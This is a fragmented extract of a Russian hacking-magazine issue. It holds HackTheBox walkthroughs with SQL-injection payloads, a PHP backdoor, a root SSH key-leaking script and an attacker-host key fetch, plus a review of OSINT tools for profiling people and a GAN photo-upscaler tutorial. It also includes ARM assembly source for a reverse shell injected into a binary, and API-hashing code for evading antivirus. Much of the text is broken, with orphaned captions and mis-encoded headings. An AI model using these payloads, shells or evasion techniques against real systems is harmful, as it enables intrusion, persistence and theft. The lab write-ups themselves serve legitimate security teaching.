выполнения другой функции getBlogName (строки 27–32).
LFI
Переходим к первому сайту, регистрируемся и авторизуемся. Это дает нам
некоторые привилегии, а также расширяет область тестирования.
Теперь нам доступна функция создания своего блога. Создадим блог ralf
и добавим запись в файл /etc/hosts.
Настройки веб-сервера
location ~ /static/(.*)/(.*) {
resolver 127.0.0.1;
proxy_pass http://$1.microbucket.htb/$2;
# }
Запрос на сервер
RCE
Теперь перейдем к RCE, для чего поместим PHP-бэкдор shell_exec
в каталог uploads. В параметре id отправляем путь к файлу /var/www/
microblog/ralf/uploads/rce.php, а в параметре txt — код бэкдора:
Запись PHP-бэкдора
Логи веб-сервера
ÏÐÎÄÂÈÆÅÍÈÅ
Для продвижения к учетной записи пользователя чаще всего следует искать
учетные данные для разных баз, сервисов и служб. Так как на хосте работает
Redis и мы можем к нему подключиться, нужно проверить сохраненные дан-
ные.
redis-cli -s /run/redis/redis.sock
keys *
hgetall cooper.dooper
Флаг пользователя
Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате и выдают подробный отчет о потенциально интересных
файлах, процессах и настройках.
Настройки sudoers
sudo -l
Настройки sudoers
file /usr/bin/license
Это скрипт на Python. Смотрим его исходный код в любом удобном редак-
торе. Это приложение может быть запущено только привилегированным
пользователем (строки 22–26).
Затем приложение читает секрет из файла /root/license/secret, а из
секрета формируется ключ шифрования (строки 37–43).
При выводе используется f-строка (строки 65 и 69). Так как через базу Redis
мы можем контролировать входные данные, попробуем в качестве одного
из параметров записать такую строку:
{license.__init__.__globals__[secret_encoded]}
redis-cli -s /var/run/redis/redis.sock
Эксплуатация уязвимости
Флаг рута
Машина захвачена!
ВЗЛОМ
МАНИПУЛИРУЕМ ПРОТОКОЛОМ
GRPC ПРИ ВЗЛОМЕ СЕРВЕРА
ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.214 pc.htb
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
ÒÎ×ÊÀ ÂÕÎÄÀ
Что за неизвестный порт? Достаточно поискать этот номер в интернете, что-
бы обнаружить, что его может держать открытым служба gRPC. Это реали-
зация протокола RPC (метода удаленного вызова процедур) с открытым
исходным кодом, разработанная в Google. gRPC предназначен для работы
с различными механизмами аутентификации, что упрощает обращение к нему
из других систем. Можно использовать его с аутентификацией SSL/TLS
на основе токенов Google или без нее, а также подключить собственную сис-
тему аутентификации, расширив предоставленный компанией код.
Для работы по протоколу gRPC будем использовать gRPC UI. Скачиваем
последнюю версию и запускаем, указывая сервер и порт для подключения.
Доступные методы
Запрос LoginUser
Ответ сервера
Запрос getInfo
Ответ сервера
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ÒÎ×ÊÀ ÎÏÎÐÛ
Перейдем в Burp Suite и перенаправим запрос в Burp Repeater. Так как мы
отправляем на сервер идентификатор пользователя и получаем ответ,
не исключено, что приложение использует базы данных. Поэтому стоит про-
верить, нет ли возможности для SQL-инъекции. Возьмем число, вызывающее
ошибку, а потом дополним его условием or 1=1. Оно возвращает значение
TRUE, и в результате ошибки больше нет. Значит, есть возможность для инъ-
екции.
Ответ с ошибкой
SQL-èíúåêöèÿ
Первым делом определяем, с какой СУБД предстоит работать. Для этого
достаточно перебрать несколько команд с характерным для разных систем
синтаксисом. Сработала нагрузка для SQLite.
Версия СУБД
Находим всего одну таблицу — accounts. Чтобы получить из нее данные, нам
нужны названия столбцов. Хорошо, что в SQLite не надо отдельно вытас-
кивать название каждого столбца — можно запросить сразу всё определение
таблицы.
1 union select sql from sqlite_master where type!='meta' and sql not
NULL and name ='accounts'
Флаг пользователя
Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате и выдают подробный отчет о потенциально интересных
файлах, процессах и настройках.
Открытые порты
Описание уязвимости
Затронутые версии этого пакета уязвимы перед инъекцией команд ОС, так
как приложение передает данные из пользовательского ввода в pyimport.
А поиск эксплоитов на GitHub приводит к репозиторию, где описан PoC
для получения RCE.
Запрос с нагрузкой
/bin/bash -p
Флаг рута
Машина захвачена!
ВЗЛОМ
ЭКСПЛУАТИРУЕМ СЛОЖНУЮ
SQL-ИНЪЕКЦИЮ ДЛЯ ДАМПА
БАЗЫ ДАННЫХ
ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.220 intentions.htb
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Страница авторизации
ÒÎ×ÊÀ ÂÕÎÄÀ
Регистрируем нового пользователя и авторизуемся на сайте.
История запросов
Запрос на сервер
Ответ сервера
ÒÎ×ÊÀ ÎÏÎÐÛ
Burp Macro
Первым делом я решил перебрать разные нагрузки с помощью Burp
Intruder. Но сложность в том, что нужно выполнять два запроса — один
с нагрузкой, а другой для проверки результата. Тут нам могут помочь мак-
росы, которые задаются через настройки Burp. Переходим к списку правил
сессии и создаем новое.
В открывшемся окне в поле Rule actions создаем новый макрос run post-
request macro — то есть выполняемый после основного запроса.
Настройки правила
Настройки макроса
Настройки правила
Настройки правила
Результат перебора
Настройки макроса
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ЭКСПЛУАТИРУЕМ СЛОЖНУЮ
SQL-ИНЪЕКЦИЮ ДЛЯ ДАМПА БАЗЫ ДАННЫХ
Macro Recorder
Запрос на сервер
Ответ сервера
Запрос на сервер
Ответ сервера
SQL-èíúåêöèÿ
Настраиваем Burp Intruder в один поток, только в этот раз ничего извлекать
из ответа не будем, а просто отсортируем результат по размеру ответа.
Результат атаки
Нас интересует база intentions, получим из нее (параметр -D) все таблицы
(параметр --tables).
Ïîâûøåíèå ïðèâèëåãèé
Использован алгоритм хеширования bcrypt, хеши которого можно перебрать
при помощи hashcat вот такой командой:
Запускаем сканирование:
Из сообщения «v2 API Update» делаем вывод, что используется класс PHP
Imagick. Я сразу просмотрел, нет ли в нашей версии известных уязвимостей,
и поиски привели меня к прошлогоднему багу, найденному командой PT
Swarm.
Страница Images
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ЭКСПЛУАТИРУЕМ СЛОЖНУЮ
SQL-ИНЪЕКЦИЮ ДЛЯ ДАМПА БАЗЫ ДАННЫХ
Логи веб-сервера
http://intentions.htb/expl.php?a=id
ÏÐÎÄÂÈÆÅÍÈÅ
Так как у нас есть доступ к данным сайта, стоит посмотреть, нет ли в исходни-
ках каких-нибудь учетных данных.
В каталоге сайта находим директорию .git.
История коммитов
Флаг пользователя
Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате и выдают подробный отчет о потенциально интересных
файлах, процессах и настройках.
Linux capabilities
В Linux пользователь root получает особый контекст при запуске любых про-
цессов. Так, ядро и приложения, работающие от имени root, обычно пропус-
кают любые ограничения, заданные на действия в определенном контексте,
поэтому root может делать все, что захочет. Но что, если процессу, который
работает в непривилегированном контексте, нужно выполнить требующее
привилегий действие, не повышая уровня прав?
Например, бывает нужно разрешить процессу записывать в журнал аудита
ядра, но не позволять отключить этот аудит. Ведь если запустить этот про-
цесс в контексте рута, он сможет выполнить оба действия!
Тут на помощь и приходят Linux capabilities. Эти «возможности» предос-
тавляют процессу не все множество привилегий, а какое-то его подмножес-
тво. Другими словами, все привилегии рута разбиваются на более мелкие
независимые друг от друга привилегии и процесс получает только те,
которые ему нужны.
echo -n t | md5sum
Проверка теории
Первым делом нужно определить, какой файл читать. Передаем сканеру путь
к приватному ключу SSH пользователя root и узнаём, что такой файл сущес-
твует.
import hashlib
import os
import string
content = ""
length = 1
while True:
cmd = f"/opt/scanner/scanner -c /root/.ssh/id_rsa -l {length} -s
111 -p"
hash = os.popen(cmd).read().split(" ")[-1].rstrip()
char = None
for c in string.printable:
if hash == hashlib.md5((content + c).encode()).hexdigest():
char = c
break
if char:
print(char, end="")
content += char
length += 1
else:
break
Флаг рута
Машина захвачена!
ВЗЛОМ
ВЫПОЛНЯЕМ ПРОИЗВОЛЬНЫЙ
КОД С ПОМОЩЬЮ JUPYTER
И SATTRACK
ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.216 jupiter.htb
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
ÒÎ×ÊÀ ÂÕÎÄÀ
На самом сайте ничего интересного не находим, поэтому попробуем поис-
кать поддомены.
Все действия я произвожу через Burp, поэтому, проверив Burp History, сразу
обратил внимание на то, что используется API и в параметре rawSql переда-
ется следующий SQL-запрос:
ÒÎ×ÊÀ ÎÏÎÐÛ
С точки зрения пентестера, Postgres хорош тем, что может дать выполнение
команд в контексте пользователя-службы. Механизм простой: создаем таб-
лицу и заполняем ее выводом выполненной команды. С помощью Burp
Repeater отправляем SQL-запрос для создания таблицы.
Логи веб-сервера
Ñîõðàíåíèå äîñòóïà
Самый простой способ сохранить доступ в Linux — это, конечно же, запись
ключа SSH. Но сначала проверим командную оболочку пользователя в файле
/etc/passwd.
ssh-keygen
cat /var/lib/postgresql/.ssh/id_rsa.pub > /var/lib/postgresql/.ssh/
authorized_keys
cat /var/lib/postgresql/.ssh/id_rsa
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ÏÐÎÄÂÈÆÅÍÈÅ
Ïîëüçîâàòåëü juno
Теперь нам нужно собрать информацию. Я, как обычно, буду использовать
для этого скрипты PEASS.
Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате и выдают подробный отчет о потенциально интересных
файлах, процессах и настройках.
Загрузим на хост скрипт для Linux, дадим ему право на выполнение и запус-
тим сканирование. В выводе будет много информации, поэтому отберем
только значимую.
В списке прослушиваемых портов находим интересный веб-порт 8888.
Так как мы имеем право на запись в этот файл, откроем его и изменим
исполняемые команды на cp /bin/bash /tmp/bash и chmod u+s /tmp/
bash.
Измененная конфигурация
/tmp/bash -p
Флаг пользователя
Ïîëüçîâàòåëü jovian
Теперь у нас есть доступ к проекту solar-flares в каталоге /opt.
Теперь весь трафик, который мы пошлем на локальный порт 8888, будет тун-
нелирован на порт 8888 указанного хоста (в данном случае 127.0.0.1) через
SSH-хост. Подключаемся к порту.
Логи Jupyter
cp ~/.ssh/authorized_keys /tmp/id_rsa.pub
chmod 777 /tmp/id_rsa.pub
sudo -l
Настройки sudoers
{
"tleroot": "/tmp/tle/",
"tlefile": "weather.txt",
"mapfile": "/usr/local/share/arftracksat/map.json",
"texturefile": "/usr/local/share/arftracksat/earth.png",
"tlesources": [
"http://celestrak.org/NORAD/elements/weather.txt",
"http://celestrak.org/NORAD/elements/noaa.txt",
"http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&
FORMAT=tle"
],
"updatePerdiod": 1000,
"station": {
"name": "LORCA",
"lat": 37.6725,
"lon": -1.5863,
"hgt": 335.0
},
"show": [
],
"columns": [
"name",
"azel",
"dis",
"geo",
"tab",
"pos",
"vel"
]
}
{
"tleroot": "/root/.ssh/",
"tlefile": "authorized_keys",
"mapfile": "/tmp/map.json",
"texturefile": "/tmp/map.json",
"tlesources": [
"http://10.10.14.188/authorized_keys"
],
"updatePerdiod": 1000,
"station": {
"name": "LORCA",
"lat": 37.6725,
"lon": -1.5863,
"hgt": 335.0
},
"show": [
],
"columns": [
"name",
"azel",
"dis",
"geo",
"tab",
"pos",
"vel"
]
}
Запуск SatTrack
Флаг рута
Машина захвачена!
ТРЮКИ
ИЗВЛЕКАЕМ ДАННЫЕ
ИЗ INSTAGRAM, TELEGRAM,
GITHUB И ДРУГИХ ИСТОЧНИКОВ
ZEHEF
Установка Zehef
Запускаем:
Результаты поиска
Видим, что на наш тестовый адрес есть учетные записи, а еще он зарегистри-
рован в Twitter/X, на GitHub и на нескольких порносайтах.
Результаты поиска
Ошибка
Zehef/modules/possible_accounts/social/tiktok.py
NETSOC_OSINT
Можно будет задать язык, а затем попадаем в само меню инструмента. Тут
предлагается выбрать интересующую тебя соцсеть.
Интерфейс инструмента
Поиск по Instagram
Поиск по Telegram
Информации про GitHub уже куда больше, и удобно, что ее можно получить
целиком. Смысл от использования однозначно есть.
Поиск по GitHub
SNOOP PROJECT
mkdir Snoop
wget https://github.com/snooppr/snoop/releases/download/V1.3.8_7_
July_2023/Snoop.for.GNU_Linux.rar
unrar e Snoop.for.GNU_Linux.rar Snoop
Немного удивило, что автор распространяет бинарник для Linux в виде архи-
ва RAR. Такое, пожалуй, встретишь только в России.
Скачивание Snoop
chmod +x snoop_cli
./snoop_cli -f username
Результаты поиска
Результаты поиска
TOUTATIS
Установка Toutatis
OCTOSUITE
ÂÛÂÎÄÛ
ИЗОБРЕТАЕМ ПЕРСОНАЛЬНЫЙ
НЕЙРОСЕТЕВОЙ
ФОТОУВЕЛИЧИТЕЛЬ
ÍÅÎÁÕÎÄÈÌÎÅ ÎÁÎÐÓÄÎÂÀÍÈÅ
Результат хорош, слов нет, но какой ценой его можно достичь? Ты, вероятно,
в курсе, что для промышленного использования нейронных сетей необ-
ходимы серьезные вычислительные мощности — кластерные платформы
с большими хранилищами данных и мощными графическими процессорами.
Подойдет, например, майнинговая ферма времен «биткоиновой лихорадки».
Но если ты не замахиваешься на самостоятельное обучение нейронных
сетей, а просто желаешь подготовить к печати несколько фотоснимков, то
возможны варианты. Например, воспользоваться одним из множества
появившихся в интернете сервисов, предлагающих загрузить фотографию
и через 10–20 секунд получить ее улучшенную версию.
Некоторые сервисы предоставляют такие услуги даже бесплатно, но надо
помнить, что «если вы за это не платите, то вы не потребитель, вы — продава-
емый продукт». В любом случае в этой статье мы не будем обсуждать такой
незатейливый способ, а поговорим лучше о том, как выполнить аналогичную
обработку на твоем персональном компьютере или ноутбуке.
Новые версии Real-ESRGAN и GFPGAN не предъявляют специальных тре-
бований к видеоадаптеру (хотя поддержка Nvidia CUDA приветствуется)
и могут работать на довольно заурядном оборудовании. Чтобы обработать
фотографии этими инструментами, твой компьютер должен обладать сле-
дующими характеристиками:
• на нем должна быть установлена 64-разрядная версия Linux не старше
чем Ubuntu 16.04;
• должно быть не меньше 768 Мбайт по-настоящему ñâîáîäíîé оператив-
ной памяти, которая не используется ни видеоадаптером, ни операци-
онной системой;
• должно быть не менее 15 Гбайт свободного дискового пространства.
ÎÏÅÐÀÖÈÎÍÍÀß ÑÈÑÒÅÌÀ
Продолжение статьи →
ТРЮКИ ← НАЧАЛО СТАТЬИ
ИЗОБРЕТАЕМ ПЕРСОНАЛЬНЫЙ
НЕЙРОСЕТЕВОЙ ФОТОУВЕЛИЧИТЕЛЬ
ÑÐÅÄÀ ÈÑÏÎËÍÅÍÈß
Из сети будет загружено 63,5 Мбайт архивов. В более новых версиях в этот
список надо добавить пакет libgdbm-compat-dev.
Затем загрузи с официального сайта исходные тексты интерпретатора
(26 Мбайт) и распакуй их:
wget https://www.python.org/ftp/python/3.8.18/Python-3.8.18.tgz
tar -xzf Python-3.8.18.tgz
cd Python-3.8.18
./configure --prefix=$HOME/.local --enable-optimizations
make
make install
$ ~/.local/bin/python3.8 --version
Python 3.8.18
$ ~/.local/bin/pip3.8 --version
pip23.0.1 from ~/.local/lib/python3.8/site-packages/pip (python 3.8)
cd ..
rm -fr Python-3.8.18 Python3.8.18.tgz
free -h
swapoff -a
dd if=/dev/zero of=/swapfile bs=1024k count=2048
chmod 0600 /swapfile
mkswap /swapfile
swapon -a
swapon /swapfile
ÍÅÉÐÎÑÅÒÈ «ÔÎÒÎÓÂÅËÈ×ÈÒÅËß»
rm -fr ~/pipcache
cd ~/.local/lib/python3.8/site-packages
ln -s ../../../../GAN/GFPGAN/gfpgan
cd ~/GAN/GFPGAN
python3.8 setup.py develop
cd ~/GAN/Real-ESRGAN
python3.8 setup.py develop
ln -s ../GFPGAN/gfpgan
$ cd ~/GAN
$ wget
https://github.com/TencentARC/GFPGAN/releases/download/v1.3.0/GFPGANv1.3
.pth -P GFPGAN/gfpgan/weights
$ wget
https://github.com/xinntao/facexlib/releases/download/v0.1.0/detection_R
esnet50_Final.pth -P GFPGAN/gfpgan/weights
$ wget
https://github.com/xinntao/facexlib/releases/download/v0.2.2/parsing_par
senet.pth -P GFPGAN/gfpgan/weights
$ wget https://github.com/xinntao/Real-
ESRGAN/releases/download/v0.1.0/RealESRGAN_x4plus.pth -P Real-
ESRGAN/weights
ÁÎÐÜÁÀ Ñ ÏÐÎÃÐÅÑÑÎÌ
Казалось бы, теперь-то все готово к тому, чтобы заняться обработкой фотог-
рафий. Действительно, у меня настроенный по описанной методике «фото-
увеличитель» сразу же заработал. Но когда я через несколько дней проверял
инструкцию при работе над этой статьей, повторно выполняя все действия,
меня поджидал сюрприз. Программное обеспечение GFPGAN отказывалось
работать, сообщая об ошибке:
cd ~
tar -zcf GAN_U1604.tgz .local GAN
Возможно, у тебя возник вопрос, как настроить обмен файлов между вир-
туальной машиной и компьютером с гипервизором. VirtualBox предлагает
использовать дополнение, пробрасывающее папки файловой системы
компьютера в виртуальную машину. Но я предпочитаю более универсальный
способ — сетевой обмен по протоколу FTP. Почти любая операционная сис-
тема, установленная на виртуальной машине, содержит в своем составе тот
или иной FTP-клиент, а поднять на компьютере FTP-сервер и настроить бран-
дмауэр — задача, которую нужно решить один раз. Кстати, я использую сер-
вер, который реализует утилита «Швейцарский файловый нож», запуская его
при необходимости:
ÎÁÐÀÁÎÒÊÀ ÔÎÒÎÃÐÀÔÈÉ
cd ~/GAN/Real-ESRGAN
python3.8 inference_realesrgan.py -i ../in -o ../out -t 64 --fp32
--face_enhance
Tile 1/42
Tile 2/42
...
Tile 41/42
Tile 42/42
cd ~/GAN/GFPGAN
python3.8 inference_gfpgan.py -i ../in -o ../out
cd ~/GAN
/bin/sh gfpgan.sh in out
/bin/sh resrgan.sh in out
ÂÛÂÎÄÛ
ПИШЕМ НА АССЕМБЛЕРЕ
СВОЙ РЕВЕРС-ШЕЛЛ
ДЛЯ УСТРОЙСТВ НА ARM
#!/bin/bash
qemu-system-aarch64 -M virt -m 2G -cpu cortex-a53 -smp 2 \
-kernel installer-linux \
-initrd installer-initrd.gz \
-drive if=none,file=hda.img,format=raw,id=hd \
-device virtio-blk-pci,drive=hd \
-netdev user,id=mynet \
-device virtio-net-pci,netdev=mynet \
-display gtk,gl=on \
-device virtio-gpu-pci \
-no-reboot \
-device qemu-xhci -device usb-kbd -device usb-tablet
Здесь
• qemu-system-aarch64 — эмуляция полной системы для архитектуры;
• -M — выбор эмулируемой машины;
• -m — объем ОЗУ;
• -cpu — тип эмулируемого процессора;
• -smp — количество виртуальных ядер ЦП и их распределение по сокетам;
• -kernel — для использования указанного образа ядра Linux;
• -initrd — для загрузки Linux;
• netdev/device и drive — описание сетевой карты и виртуальных дис-
ков;
• if — опция указывает, через интерфейс какого типа подключен диск;
• file — определяет, какой образ использовать для какого диска;
• format — указывает явным образ формат дисков, не использовать авто-
определение;
• -display — выбор типа отображения, доступно sdl, curses, gtk, none,
vga;
• -no-reboot — отмена перезагрузки.
#!/bin/bash
qemu-system-aarch64 -M virt -m 3G -cpu cortex-a53 -smp 2 \
-kernel vmlinuz-5.10.0-8-arm64 \
-initrd initrd.img-5.10.0-8-arm64 \
-append 'root=/dev/vda2' \
-drive if=none,file=hda.img,format=raw,id=hd \
-device virtio-blk-pci,drive=hd \
-netdev user,id=mynet \
-device virtio-net-pci,netdev=mynet \
-display gtk,gl=on \
-device virtio-gpu \
-no-reboot \
-device qemu-xhci -device usb-kbd -device usb-tablet\
./debARM64
Docker
Есть и альтернативный вариант: эмуляция Raspberry Pi с использованием
Docker. Для этого нужно установить Docker:
_start:
Эта точка определяется как глобальное имя для всей программы. Каждый
оператор имеет следующий синтаксис:
Ïåðâàÿ ïðîãðàììà
В первой программе, по классике, реализован вывод приветственной строч-
ки — H3ll0, ][akep!:
.global _start
_start:
mov r7, #4 @ номер системного вызова
mov r0, #1 @ вывод - stdout
mov r2, #13 @ длина строки
ldr r1, =string @ строка находится на метке string
swi 0 @ системный вызов
.data
string:
.ascii "H3ll0, ][akep!\n"
Здесь
• r7 — номер процедуры;
• r0 определяет поток (stdin/stdout/stderr);
• r2 — количество выводимых символов;
• r1 хранит адрес строки.
Все это схоже с ассемблером для i386. В ARM регистры для взаимодействия
такие:
• r7 — номер системного вызова;
• r0 — аргумент 1;
• r1 — аргумент 2;
• r2 — аргумент 3;
• r3 — аргумент 4;
• r4 — аргумент 5;
• r5 — аргумент 6;
• r0 — возвращаемое значение или код ошибки.
as -g proga1.asm -o proga1.o
ld proga1.o -o proga1.bin
$ file proga1.bin
proga1.bin: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV),
statically linked, not stripped
./proga1.bin
H3ll0, ][akep!
Продолжение статьи →
КОДИНГ ← НАЧАЛО СТАТЬИ
$ gdb
gef➤ file proga1.bin
Reading symbols from proga1.bin...done.
gef➤ disassemble _start
Dump of assembler code for function _start:
0x00010074 <+0>: mov r7, #4
0x00010078 <+4>: mov r0, #1
0x0001007c <+8>: mov r2, #19
0x00010080 <+12>: ldr r1, [pc, #8] ; 0x10090 <_start+28>
0x00010084 <+16>: svc 0x00000000
0x00010088 <+20>: mov r7, #1
0x0001008c <+24>: svc 0x00000000
0x00010090 <+28>: muleq r2, r4, r0
End of assembler dump.
b *_start
r
$r0 : 0x0
$r1 : 0x0
$r2 : 0x0
$r3 : 0x0
$r4 : 0x0
$r5 : 0x0
$r6 : 0x0
$r7 : 0x0
$r8 : 0x0
$r9 : 0x0
$r10 : 0x0
$r11 : 0x0
$r12 : 0x0
$sp : 0xbefffce0 → 0x00000001
$lr : 0x0
$pc : 0x00010074 → <_start+0> mov r7, #4
$cpsr: [negative zero carry overflow interrupt fast thumb]
$r0 : 0x1
$r1 : 0x00020094 → <string+0> stclvs 3, cr3, [r12], #-288 ;
0xfffffee0
$r2 : 0x13
$r3 : 0x0
$r4 : 0x0
$r5 : 0x0
$r6 : 0x0
$r7 : 0x4
$r8 : 0x0
$r9 : 0x0
$r10 : 0x0
$r11 : 0x0
$r12 : 0x0
$sp : 0xbefffce0 → 0x00000001
$lr : 0x0
$pc : 0x00010084 → <_start+16> svc 0x00000000
$cpsr: [negative zero carry overflow interrupt fast thumb]
Как можно заметить, везде лежат нужные нам значения. Посмотрим, что хра-
нится в регистре r1.
gef➤ n
H3ll0, ][akep!
ÏÈØÅÌ ÐÅÂÅÐÑ-ØÅËË
.global _start
_start:
mov r0, #2
mov r1, #1
sub r2, r2
mov r7, #200
add r7, #81
swi 0 @ socket(2, 1, 0)
mov r4, r0
struct:
.ascii "\x02\xff" @ AF_INET
.ascii "\x11\x5c" @ port = 4444
.byte xxx,xxx,xxx,xxx @ IP address
mov r4, r0
adr r1, struct
mov r2, #16 @ struct length
add r7, #2 @ 281 + 2
swi 0
struct:
.ascii "\x02\xff" @ AF_INET
.ascii "\x11\x5c" @ port = 4444
.byte xxx,xxx,xxx,xxx @ IP address
@ dup2(sockid , 0)
mov r0, r4 @ sockid
sub r1, r1 @ 0 - stdin
sub r7, r7
mov r7, #0x3f @ dup2
swi 0
@ dup2(sockid , 1)
mov r0, r4 @ sockid
add r1, #1 @ 1 - stdout
swi 0
@ dup2(sockid, 2)
mov r0, r4 @ sockid
add r1, #1 @ 2 - stderr
swi 0
binsh:
.ascii "/bin/sh"
.global _start
_start:
mov r0, #2
mov r1, #1
sub r2, r2
mov r7, #200
add r7, #81
swi 0 @ socket(2, 1, 0)
mov r4, r0
adr r1, struct
mov r2, #16 @ struct length
add r7, #2 @ 281 + 2
swi 0
@ dup2(sockid , 0)
mov r0, r4 @ sockid
sub r1, r1 @ 0 - stdin
sub r7, r7
mov r7, #0x3f @ dup2
swi 0
@ dup2(sockid , 1)
mov r0, r4 @ sockid
add r1, #1 @ 1 - stdout
swi 0
@ dup2(sockid, 2)
mov r0, r4 @ sockid
add r1, #1 @ 2 - stderr
swi 0
struct:
.ascii "\x02\xff" @ AF_INET
.ascii "\x11\x5c" @ port = 4444
.byte xxx,xxx,xxx,xxx @ IP address
binsh:
.ascii "/bin/sh"
$ nc -lvnp 444
Listening on 0.0.0.0 4444
as rs.asm -o rs.o
ld rs.o -o rs.bin
./rs.bin
ÈÍÚÅÊÖÈß ØÅËË-ÊÎÄÀ
$ xxd rs_bytes.bin
00000000: 0200 a0e3 0110 a0e3 0220 42e0 c870 a0e3 ......... B..p..
00000010: 5170 87e2 0100 00ef 0040 a0e1 3410 8fe2 Qp.......@..4...
00000020: 1020 a0e3 0270 87e2 0100 00ef 0400 a0e1 . ...p..........
00000030: 0110 41e0 0770 47e0 3f70 a0e3 0000 00ef ..A..pG.?p......
00000040: 0400 a0e1 0110 81e2 0000 00ef 0400 a0e1 ................
00000050: 0110 81e2 0000 00ef 02ff 115c 0a21 4507 ............!E.
#include <stdio.h>
int main()
{
puts("Hello, ][akep!");
return 0;
}
0200 a0e3 0110 a0e3 0220 42e0 c870 a0e3 5170 87e2 0100 00ef 0040
a0e1 3410 8fe21020 a0e3 0270 87e2 0100 00ef 0400 a0e10110 41e0 0770
47e0 3f70 a0e3 0000 00ef 0400 a0e1 0110 81e2 0000 00ef 0400 a0e1
0110 81e2 0000 00ef 02ff 115c 0a21 4507
Как можно заметить, здесь теперь расположена новая секция start, и прог-
рамма первым делом зайдет именно в нее. А там лежит реверс-шелл.
./hello_xaker.bin
$ nc -lvnp 4444
Connection received on xxx.xxx.xxx.xxx xxxxx
$ whoami
whoami
pi
ÂÛÂÎÄÛ
РЕАЛИЗУЕМ ТЕХНИКУ
API HASHING, ЧТОБЫ
ОБДУРИТЬ АНТИВИРУС
Никакой скрытности
ÂÛÁÎÐ ÀËÃÎÐÈÒÌÀ
#include <Windows.h>
#include <iostream>
// ASCII
DWORD HashStringDjb2A(_In_ PCHAR String)
{
ULONG Hash = INITIAL_HASH;
INT c;
while (c = *String++)
Hash = ((Hash << INITIAL_SEED) + Hash) + c;
return Hash;
}
// Unicode
DWORD HashStringDjb2W(_In_ PWCHAR String)
{
ULONG Hash = INITIAL_HASH;
INT c;
while (c = *String++)
Hash = ((Hash << INITIAL_SEED) + Hash) + c;
return Hash;
}
int main() {
LPWSTR str = (LPWSTR)L"HelloWorld";
std::cout << HashStringDjb2W(str);
return 0;
}
hash += c;
hash += (hash << 10);
hash ^= (hash >> 6);
Код с функцией.
#include <Windows.h>
#include <iostream>
#define INITIAL_SEED 7
// ASCII
UINT32 HashStringJenkinsOneAtATime32BitA(_In_ PCHAR String)
{
SIZE_T Index = 0;
UINT32 Hash = 0;
SIZE_T Length = lstrlenA(String);
// Unicode
UINT32 HashStringJenkinsOneAtATime32BitW(_In_ PWCHAR String)
{
SIZE_T Index = 0;
UINT32 Hash = 0;
SIZE_T Length = lstrlenW(String);
return Hash;
}
int main() {
LPWSTR str = (LPWSTR)L"HelloWorld";
std::cout << HashStringJenkinsOneAtATime32BitW(str);
return 0;
}
hash = 0;
hash += c; // Для каждого символа в строке
hash = 0;
hash += c;
hash *= c + 2;
#include <Windows.h>
#include <iostream>
#define INITIAL_SEED 2
// ASCII
DWORD HashStringLoseLoseA(_In_ PCHAR String)
{
ULONG Hash = 0;
INT c;
while (c = *String++) {
Hash += c;
Hash *= c + INITIAL_SEED;
}
return Hash;
}
// Unicode
DWORD HashStringLoseLoseW(_In_ PWCHAR String)
{
ULONG Hash = 0;
INT c;
while (c = *String++) {
Hash += c;
Hash *= c + INITIAL_SEED;
}
return Hash;
}
int main() {
LPWSTR str = (LPWSTR)L"HelloWorld";
std::cout << HashStringLoseLoseW(str);
return 0;
}
#include <Windows.h>
#include <iostream>
#define INITIAL_SEED 5
UINT32 HashStringRotr32SubA(UINT32 Value, UINT Count)
{
DWORD Mask = (CHAR_BIT * sizeof(Value) - 1);
Count &= Mask;
#pragma warning( push )
#pragma warning( disable : 4146)
return (Value >> Count) | (Value << ((-Count) & Mask));
#pragma warning( pop )
}
int main() {
LPWSTR str = (LPWSTR)L"HelloWorld";
std::cout << HashStringRotr32W(str);
return 0;
}
Продолжение статьи →
КОДИНГ ← НАЧАЛО СТАТЬИ
РЕАЛИЗУЕМ ТЕХНИКУ
API HASHING, ЧТОБЫ ОБДУРИТЬ АНТИВИРУС
ÏÐÈÌÅÐ
#include <Windows.h>
#include <iostream>
#define INITIAL_SEED 7
#define HASHA(API) (HashStringJenkinsOneAtATime32BitA((PCHAR) API))
#define HASHW(API) (HashStringJenkinsOneAtATime32BitW((PWCHAR) API))
